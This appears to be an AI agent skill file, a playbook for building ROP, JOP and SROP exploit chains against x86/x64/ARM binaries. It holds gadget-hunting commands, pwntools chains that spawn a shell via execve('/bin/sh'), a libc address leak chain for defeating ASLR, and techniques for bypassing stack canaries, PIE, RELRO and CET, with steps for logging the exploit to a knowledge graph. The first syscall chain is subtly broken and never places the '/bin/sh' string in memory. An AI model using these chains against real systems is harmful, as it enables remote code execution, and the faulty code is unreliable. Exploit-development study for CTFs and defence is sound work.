| name | rop-chain |
| description | ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries. |
| metadata | {"subdomain":"reverse-engineering","when_to_use":"rop jop chain return oriented programming gadget pwntools nx dep bypass x86 x64 arm","mitre_attack":["T1203","T1055"]} |
ROP Chain Construction Playbook
ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose
existing code fragments ("gadgets") ending in ret / jmp <reg> to
build arbitrary computation without injecting code. Required when NX/DEP
prevents shellcode execution.
1. Inventory mitigations
Before building the chain, know what protections you face:
checksec --file=/tmp/binary
pwn checksec /tmp/binary
Output flags:
- NX: stack non-executable → ROP needed
- PIE: position-independent → need leak first
- RELRO (partial/full): GOT writable / read-only
- Canary: stack-cookie → leak/bypass needed
- ASLR: addresses randomized → leak needed for libc/PIE
2. Gadget discovery
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt
grep ': pop rdi ; ret$' /tmp/gadgets.txt
grep ': pop rsi ; ret$' /tmp/gadgets.txt
grep ': pop rdx ; ret$' /tmp/gadgets.txt
grep ': syscall ; ret$' /tmp/gadgets.txt
grep ': ret$' /tmp/gadgets.txt | head
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'
one_gadget /lib/x86_64-linux-gnu/libc.so.6
3. Common chain patterns
Direct execve("/bin/sh") via syscall (x86_64)
from pwn import *
POP_RDI = 0x4011a3
POP_RSI = 0x4011a1
POP_RDX = 0x4011a5
POP_RAX = 0x4011a7
SYSCALL = 0x4011a9
BIN_SH = 0x404060
chain = b''
chain += p64(POP_RAX) + p64(0x68732f6e69622f)
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RAX) + p64(0x3b)
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)
Via libc (if libc address leaked)
libc_base = leaked_libc_addr - libc.symbols.puts
chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
chain = p64(RET_GADGET) + chain
one_gadget (if conditions met)
one_gadget finds libc addresses that call execve("/bin/sh") with one
jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:
one_gadget libc.so.6
Pick the constraint that matches the state at your return point.
4. Write-what-where (when no leak available initially)
If you can't read libc directly:
- Find
puts@plt in the binary
- Build a chain that calls
puts(puts_got) — leaks libc's puts address
- Compute libc base from that
- Return to
main (or any function that re-runs your chain) and now build the real execve chain
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
leak_chain = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main)
5. Modern bypass techniques
Stack pivoting
When buffer overflow is small, pivot to a controlled larger region:
POP_RBP = 0x...
LEAVE_RET = 0x...
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)
Sigreturn-Oriented Programming (SROP)
Few gadgets available? SROP uses rt_sigreturn syscall to restore full
CPU state from a sigframe on the stack — sets every register at once:
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)
JOP (Jump-Oriented)
When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:
ROPgadget --binary /tmp/bin --jop
Pattern: dispatcher gadget calls each functional gadget via register.
Harder to construct; rare in CTF, occasional in real exploits.
6. Mitigation specifics
Stack canary
Need to leak it first. Patterns:
- Format string vuln reads canary
- Read primitive (e.g. arbitrary read via uninit pointer) leaks it
- Fork-server target: canary identical across fork children → brute byte-by-byte
PIE
Need to leak any function address in main binary → compute base. Often
via puts/printf of a stack variable that contains a ret addr.
Full RELRO
GOT read-only → can't GOT-overwrite. ROP must use direct syscalls or
libc functions via leaked base.
CET / shadow stack
ROP gadgets ending in ret get blocked at return. Mitigations:
- Use
ENDBR64-prefixed gadgets (JOP-style)
- Use syscalls that don't return (
execve)
- Bypass via CET-disable techniques where possible
7. Promote (knowledge graph)
kg_add_node(kind="exploit_chain", label="ROP: BOF → execve",
props={"target":"<binary>","gadget_count":<n>,"libc_required":<bool>})
kg_add_edge(src=<vuln:BOF>, dst=<exploit_chain>, kind="enables")
kg_add_edge(src=<exploit_chain>, dst=<crown_jewel:shell>, kind="achieves")
CVSS
- Working RCE chain: 9.8-10.0 (network-reachable)
- Chain requires local interaction: 7-8
- ASLR-defeating chain reliable across runs: 10.0
- One-shot one_gadget exploit: 9.8
Tooling cheat sheet
| Tool | Use for |
|---|
ROPgadget | Linux/x86 gadget enum |
ropper | Multi-arch gadgets, search syntax |
pwntools ROP() class | Chain assembly in Python |
one_gadget | Libc one-shot RCE |
angr | Symbolic gadget chain finding |
Ropium | Automated ROP chain synthesis |
pwntools-tubes | Remote interaction harness |
pwndbg / gef (gdb plugins) | Live debugging w/ ROP helpers |
r2pipe | Programmatic radare2 from Python |
Known exemplars (CTF + real)
- Most CTF pwn challenges from medium+: classic ROP
- Real CVE-2017-7494 (SambaCry): no ROP, but reused techniques
- CVE-2014-0160 (Heartbleed): leak primitive used to defeat ASLR
- Windows kernel exploits w/ HEVD: kernel ROP for SMEP bypass
- iOS jailbreaks: heavy use of JOP due to PAC + KTRR